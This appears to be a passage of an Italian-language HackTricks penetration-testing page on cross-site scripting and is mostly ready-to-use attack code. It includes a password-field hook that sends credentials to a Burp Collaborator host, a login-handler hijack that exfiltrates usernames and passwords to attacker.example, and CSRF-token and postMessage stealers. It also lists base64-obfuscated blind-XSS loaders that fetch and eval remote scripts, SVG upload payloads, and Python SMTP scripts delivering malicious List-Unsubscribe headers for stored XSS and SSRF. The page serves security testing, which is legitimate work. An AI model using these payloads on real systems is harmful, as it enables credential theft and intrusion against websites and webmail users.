<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Quando vengono inseriti dati nel campo password, username e password vengono inviati all’attacker’s server. Anche se il client seleziona una password salvata e non digita nulla, le credenziali verranno ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Se un handler critico (es., function DoLogin(){...}) è dichiarato più tardi nella pagina, e il tuo payload viene eseguito prima (es., tramite un inline JS-in-JS sink), definisci prima un const con lo stesso nome per anticipare e bloccare l’handler. Dichiarazioni di funzione successive non possono riassegnare un nome const, lasciando il tuo hook in controllo:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Note
- Questo dipende dall’ordine di esecuzione: la tua injection deve essere eseguita prima della dichiarazione legittima.
- Se il tuo payload è racchiuso in
eval(...), i bindingconst/letnon diventeranno globali. Usa la tecnica dinamica di injection con<script>dalla sezione “Deliverable payloads with eval(atob()) and scope nuances” per assicurare un vero binding globale, non riassegnabile. - Quando i filtri basati su keyword bloccano il codice, combina con identificatori con escape Unicode o la delivery tramite
eval(atob('...')), come mostrato sopra.
Keylogger
Cercando su github ho trovato alcuni esempi diversi:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- You can also use metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Rubare i messaggi PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Abuso di Service Workers
Accesso al Shadow DOM
Polyglots
Blind XSS payloads
Puoi anche usare: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Accesso a contenuti nascosti
Da this writeup si può apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli in attributi JS di oggetti diversi. Per esempio, un input di un REGEX può ancora essere trovato dopo che il valore dell’input del regex è stato rimosso:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS che sfrutta altre vulnerabilità
XSS in Markdown
È possibile inserire codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:
Da XSS a SSRF
Hai XSS su un sito che usa caching? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload:
<esi:include src="http://yoursite.com/capture" />
Usalo per bypassare le restrizioni dei cookie, i filtri XSS e molto altro!
Ulteriori informazioni su questa tecnica qui: XSLT.
XSS in PDF creati dinamicamente
Se una pagina web crea un PDF usando input controllati dall’utente, puoi provare a ingannare il bot che crea il PDF per far eseguire codice JS arbitrario.
Quindi, se il bot che crea il PDF trova qualche tipo di HTML tag, li interpreta, e puoi abusare di questo comportamento per causare un Server XSS.
Se non puoi iniettare HTML tags, potrebbe valere la pena provare a iniettare dati PDF:
XSS in Amp4Email
AMP, progettato per accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML affiancati da JavaScript per garantire funzionalità con un’enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite AMP components.
Il formato AMP for Email estende componenti AMP specifici per le email, consentendo ai destinatari di interagire con i contenuti direttamente all’interno delle loro email.
Esempio writeup XSS in Amp4Email in Gmail.
Abuso dell’header List-Unsubscribe (Webmail XSS & SSRF)
L’RFC 2369 List-Unsubscribe header incorpora URI controllati dall’attaccante che molti client webmail e mail convertono automaticamente in pulsanti “Unsubscribe”. Quando questi URI vengono renderizzati o richiesti senza validazione, l’header diventa un punto di iniezione sia per stored XSS (se il link di unsubscribe viene inserito nel DOM) sia per SSRF (se il server esegue la richiesta di unsubscribe per conto dell’utente).
Stored XSS tramite URI javascript:
- Inviati un’email dove l’header punta a un URI
javascript:mantenendo il resto del messaggio innocuo in modo che i filtri antispam non lo scartino. - Assicurati che l’interfaccia mostri il valore (molti client lo visualizzano in un pannello “List Info”) e verifica se il
<a>risultante eredita attributi controllati dall’attaccante comehrefotarget. - Innesca l’esecuzione (es. CTRL+click, middle-click o “open in new tab”) quando il link usa
target="_blank"; i browser valuteranno il JavaScript fornito nell’origine dell’applicazione webmail. - Osserva la primitiva stored-XSS: il payload persiste con l’email e richiede solo un click per essere eseguito.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Il byte newline (%0a) nell’URI mostra che anche caratteri insoliti sopravvivono alla pipeline di rendering in client vulnerabili come Horde IMP H5, che mostrerà la stringa testualmente all’interno dell’anchor tag.
PoC SMTP minimale che consegna un List-Unsubscribe header malevolo
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxy lato server per l'annullamento iscrizione -> SSRF
Alcuni client, come il Nextcloud Mail app, fanno proxy dell'azione di unsubscribe lato server: cliccare il pulsante istruisce il server a effettuare il fetch dell'URL fornito. Questo trasforma l'header in una primitive SSRF, specialmente quando gli amministratori impostano `'allow_local_remote_servers' => true` (documentato in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), che permette richieste verso loopback e gli intervalli RFC1918.
1. **Crea un'email** in cui `List-Unsubscribe` punti a un endpoint controllato dall'attaccante (per SSRF cieco usa Burp Collaborator / OAST).
2. **Mantieni `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** in modo che l'UI mostri un pulsante di unsubscribe a singolo clic.
3. **Soddisfa i requisiti di trust**: Nextcloud, per esempio, esegue richieste HTTPS di unsubscribe solo quando il messaggio supera DKIM, quindi l'attaccante deve firmare l'email usando un dominio che controlla.
4. **Consegnare il messaggio a una casella processata dal server target** e attendere che un utente clicchi il pulsante di unsubscribe.
5. **Osserva la callback lato server** sull'endpoint collaborator, quindi pivot verso indirizzi interni una volta confermata la primitiva.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Messaggio List-Unsubscribe firmato DKIM per il testing SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Note di testing**
- Usa un endpoint OAST per raccogliere blind SSRF hits, poi adatta l'URL `List-Unsubscribe` per puntare a `http://127.0.0.1:PORT`, ai servizi di metadati, o ad altri host interni una volta confermato il primitive.
- Poiché l'unsubscribe helper spesso riutilizza lo stesso stack HTTP dell'applicazione, erediti le sue impostazioni proxy, gli HTTP verbs e le riscritture degli header, permettendo ulteriori trucchi di traversal descritti nella [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS caricamento file (svg)
Carica come immagine un file come il seguente (da [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Trova più SVG payloads su https://github.com/allanlw/svg-cheatsheet
Varie JS Tricks & Informazioni rilevanti
Misc JS Tricks & Relevant Info
Risorse XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Riferimenti
- Trasformare un XSS innocuo dietro un WAF in un vettore di phishing realistico
- XSS e SSRF tramite l’header SMTP List-Unsubscribe in Horde Webmail e Nextcloud Mail
- Rapporto HackerOne #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- Da RXSS “Low-Impact” a Credential Stealer: una walkthrough JS-in-JS
- MDN eval()
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

